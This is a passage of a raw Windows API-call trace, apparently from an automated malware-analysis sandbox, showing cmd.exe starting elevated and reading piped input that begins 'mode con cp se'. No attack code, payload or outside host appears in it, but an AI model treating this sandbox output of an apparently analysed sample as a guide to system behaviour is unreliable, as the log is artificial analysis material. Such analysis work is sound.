lpBuffer=0x1bebbbb0040, lpFilePart=0x58ed8ff7b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x58ed8ff7b0*="Desktop") returned 0x17 [0056.485] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.485] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x58ed8ff4e0 | out: lpFindFileData=0x58ed8ff4e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1bebb9c8500 [0056.485] FindClose (in: hFindFile=0x1bebb9c8500 | out: hFindFile=0x1bebb9c8500) returned 1 [0056.486] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x58ed8ff4e0 | out: lpFindFileData=0x58ed8ff4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1bebb9c8500 [0056.486] FindClose (in: hFindFile=0x1bebb9c8500 | out: hFindFile=0x1bebb9c8500) returned 1 [0056.486] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x58ed8ff4e0 | out: lpFindFileData=0x58ed8ff4e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf214f88f, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf214f88f, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1bebb9c8500 [0056.486] FindClose (in: hFindFile=0x1bebb9c8500 | out: hFindFile=0x1bebb9c8500) returned 1 [0056.486] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.486] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0056.486] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0056.486] GetProcessHeap () returned 0x1bebb9c0000 [0056.486] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c7a10) returned 1 [0056.486] GetEnvironmentStringsW () returned 0x1bebb9c0fc0* [0056.486] GetProcessHeap () returned 0x1bebb9c0000 [0056.486] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xacc) returned 0x1bebb9c8500 [0056.487] FreeEnvironmentStringsA (penv="=") returned 1 [0056.487] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bebbb90080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.487] GetProcessHeap () returned 0x1bebb9c0000 [0056.487] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c84b0) returned 1 [0056.487] ??_V@YAXPEAX@Z () returned 0x1 [0056.487] ??_V@YAXPEAX@Z () returned 0x1 [0056.487] GetProcessHeap () returned 0x1bebb9c0000 [0056.487] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x4016) returned 0x1bebb9c8fe0 [0056.487] GetProcessHeap () returned 0x1bebb9c0000 [0056.487] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c8fe0) returned 1 [0056.487] GetConsoleOutputCP () returned 0x1b5 [0057.749] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b73fbb0 | out: lpCPInfo=0x7ff75b73fbb0) returned 1 [0057.749] GetUserDefaultLCID () returned 0x409 [0057.750] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75b73bb78, cchData=8 | out: lpLCData=":") returned 2 [0057.750] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x58ed8ffb70, cchData=128 | out: lpLCData="0") returned 2 [0057.750] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x58ed8ffb70, cchData=128 | out: lpLCData="0") returned 2 [0057.750] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x58ed8ffb70, cchData=128 | out: lpLCData="1") returned 2 [0057.750] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75b73bb68, cchData=8 | out: lpLCData="/") returned 2 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75b73bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75b73bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75b73ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75b73ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75b73ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75b73b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75b73b980, cchData=32 | out: lpLCData="Sun") returned 4 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75b73bb58, cchData=8 | out: lpLCData=".") returned 2 [0057.751] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75b73bb40, cchData=8 | out: lpLCData=",") returned 2 [0057.751] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0057.753] GetProcessHeap () returned 0x1bebb9c0000 [0057.753] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, Size=0x20c) returned 0x1bebb9c6560 [0057.753] GetConsoleTitleW (in: lpConsoleTitle=0x1bebb9c6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0058.846] _get_osfhandle (_FileHandle=1) returned 0x254 [0058.846] GetFileType (hFile=0x254) returned 0x3 [0058.847] ApiSetQueryApiSetPresence () returned 0x0 [0058.848] ResolveDelayLoadedAPI () returned 0x7ff9127bd990 [0059.588] BrandingFormatString () returned 0x1bebb9c1850 [0059.613] GetVersion () returned 0x3ad7000a [0059.613] _vsnwprintf (in: _Buffer=0x58ed8ffcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x58ed8ffc68 | out: _Buffer="10.0.15063") returned 10 [0059.613] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.613] GetFileType (hFile=0x254) returned 0x3 [0059.613] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b747f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0059.614] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b747f60, nSize=0x2000, Arguments=0x58ed8ffc70 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0059.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0059.614] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x58ed8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ffbc8*=0x26, lpOverlapped=0x0) returned 1 [0059.614] _vsnwprintf (in: _Buffer=0x7ff75b747f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x58ed8ffc98 | out: _Buffer="\r\n") returned 2 [0059.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.614] GetFileType (hFile=0x254) returned 0x3 [0059.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0059.614] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x58ed8ffc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ffc68*=0x2, lpOverlapped=0x0) returned 1 [0059.614] _vsnwprintf (in: _Buffer=0x7ff75b747f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x58ed8ffc98 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0059.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.614] GetFileType (hFile=0x254) returned 0x3 [0059.615] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0059.615] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x58ed8ffc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ffc68*=0x34, lpOverlapped=0x0) returned 1 [0059.615] _vsnwprintf (in: _Buffer=0x7ff75b747f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x58ed8ffc98 | out: _Buffer="\r\n") returned 2 [0059.615] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.615] GetFileType (hFile=0x254) returned 0x3 [0059.615] _get_osfhandle (_FileHandle=1) returned 0x254 [0059.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0059.615] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x58ed8ffc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ffc68*=0x2, lpOverlapped=0x0) returned 1 [0059.615] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0059.615] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0059.615] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0059.615] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0059.615] ??_V@YAXPEAX@Z () returned 0x1 [0059.616] _get_osfhandle (_FileHandle=0) returned 0x248 [0059.616] GetFileType (hFile=0x248) returned 0x3 [0059.616] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0059.616] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x58ed8ffad8 | out: TokenHandle=0x58ed8ffad8*=0x0) returned 0xc000007c [0059.616] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x58ed8ffad8 | out: TokenHandle=0x58ed8ffad8*=0x94) returned 0x0 [0059.616] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x58ed8ffa88, TokenInformationLength=0x4, ReturnLength=0x58ed8ffa90 | out: TokenInformation=0x58ed8ffa88, ReturnLength=0x58ed8ffa90) returned 0x0 [0059.616] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x58ed8ffa90, TokenInformationLength=0x4, ReturnLength=0x58ed8ffa88 | out: TokenInformation=0x58ed8ffa90, ReturnLength=0x58ed8ffa88) returned 0x0 [0059.616] NtClose (Handle=0x94) returned 0x0 [0059.616] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x58ed8ffaa0, nSize=0x0, Arguments=0x58ed8ffaa8 | out: lpBuffer="\x8320\xbb9c\x1be") returned 0xf [0059.616] GetProcessHeap () returned 0x1bebb9c0000 [0059.616] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x218) returned 0x1bebb9c6c30 [0060.241] GetConsoleTitleW (in: lpConsoleTitle=0x58ed8ffaf0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0061.213] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0061.231] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0062.021] GetProcessHeap () returned 0x1bebb9c0000 [0062.021] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c6c30) returned 1 [0062.021] LocalFree (hMem=0x1bebb9c8320) returned 0x0 [0062.022] _vsnwprintf (in: _Buffer=0x7ff75b747f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x58ed8ff918 | out: _Buffer="\r\n") returned 2 [0062.022] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.022] GetFileType (hFile=0x254) returned 0x3 [0062.022] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.022] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x58ed8ff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ff8e8*=0x2, lpOverlapped=0x0) returned 1 [0062.022] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0062.022] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bebbb90080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0062.022] malloc (_Size=0x107ce) returned 0x1bebbba0060 [0062.023] _vsnwprintf (in: _Buffer=0x1bebbba0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x58ed8ff928 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0062.023] _vsnwprintf (in: _Buffer=0x1bebbba008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x58ed8ff928 | out: _Buffer=">") returned 1 [0062.023] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.023] GetFileType (hFile=0x254) returned 0x3 [0062.023] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0062.023] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x58ed8ff918, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ff918*=0x18, lpOverlapped=0x0) returned 1 [0062.023] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] GetFileType (hFile=0x248) returned 0x3 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.024] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.024] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.024] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.024] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.024] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.024] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.024] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0062.025] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.025] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.025] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] 